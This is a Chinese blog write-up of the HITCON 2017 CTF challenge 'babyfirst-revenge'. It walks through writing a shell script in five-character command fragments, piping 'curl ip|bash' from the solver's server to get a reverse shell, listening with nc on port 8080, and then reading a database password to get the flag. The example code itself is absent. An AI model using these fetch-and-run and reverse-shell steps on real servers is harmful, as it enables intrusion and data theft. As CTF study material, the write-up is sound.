醉梦半醒的博客

HITCON2017(babyfirst-revenge) writeup

字数统计: 719阅读时长: 2 min
2018/09/13 Share

看过来,你踩到的坑我这里都有

看到源码第一反应应该是写入webshell到服务器上,写php木马的烂招式肯定是没用了,23333

参考大佬的exp:<a href=”https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/babyfirst-revenge/exploit.py" target=”_blank” rel=”nofollow” https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/babyfirst-revenge/exploit.py</a

先利用\换行符写入bash脚本,用sh去执行,将反弹shell的命令写在自己的vps上,用curl ip|bash输送到bash运行

先思考curl这条命令,php源码每次只允许输入长度不超过5的命令,ls的默认排序方式肯定会造成问题

所以要再写一个ls -tg的脚本,按照时间降序的方式输入到名字为g的脚本中(ls -t|tacg 升序)

例如这样输入:

ls在最后面了,和我们的需求不符合

想办法把ls放在最前面:

待会bash去执行的时候碰到 _ 这类错误的会直接报错继续运行,但并不影响bash最终ls -t g的执行

ok,这里说下第一个坑:

有人会说我按照你的操作去打命令发现ls的排序和你的不一样(上面的图来自本地wls的ubuntu环境[有时候抽风,有时候不会])

可能是这样的(来自ubuntu 18虚拟机):

因为php生成的序列内容和linux命令行下生成的不一样,ls按照字典排序,是和一个叫LS_COLLATE有关的

输入LS_COLLATE=C ls就可以愉快的玩耍了,23333

再将反弹webshell写在vps上


上python脚本:

ok,来说第二个坑:

你的vps的ip地址肯定有点号比如你写.1\是无效的, 点号写在后面会被转义掉,所以分割的时候要注意,写成1.\

还有curl那条命令要倒叙着写

脚本执行后在你的vps上nc监听8080端口:

nc -lvvp 8080

ok,来说第三个坑:

本来我的vps是centos6的,装了nc上面那个命令用不了,只能说源太垃圾了,直接换了个ubuntu

xsser大佬说,思维要发散,nc不行换php -S IP:8080 或者tcpdump -i eth0 “port 8080”,学习了学习了

还有这个dns造成的问题,小猪师傅说-n关闭dns解析,话说没用到域名,为什么会造成dns的问题呢,暂时没有想通…

nc -lvvnp 8080就可以了,

也可以用:

ncat -lvvp 8080 没有发现任何问题
接着讲,获得了一个反弹的webshell

在/home目录下发现数据库密码和提示:

连上数据库:

ok,来说第四个坑:

mysql密码输进去没反应了,一度认为是卡死了,原来是要接着写mysql语句,配合exit命令食用,出现回显信息

获取flag

CATALOG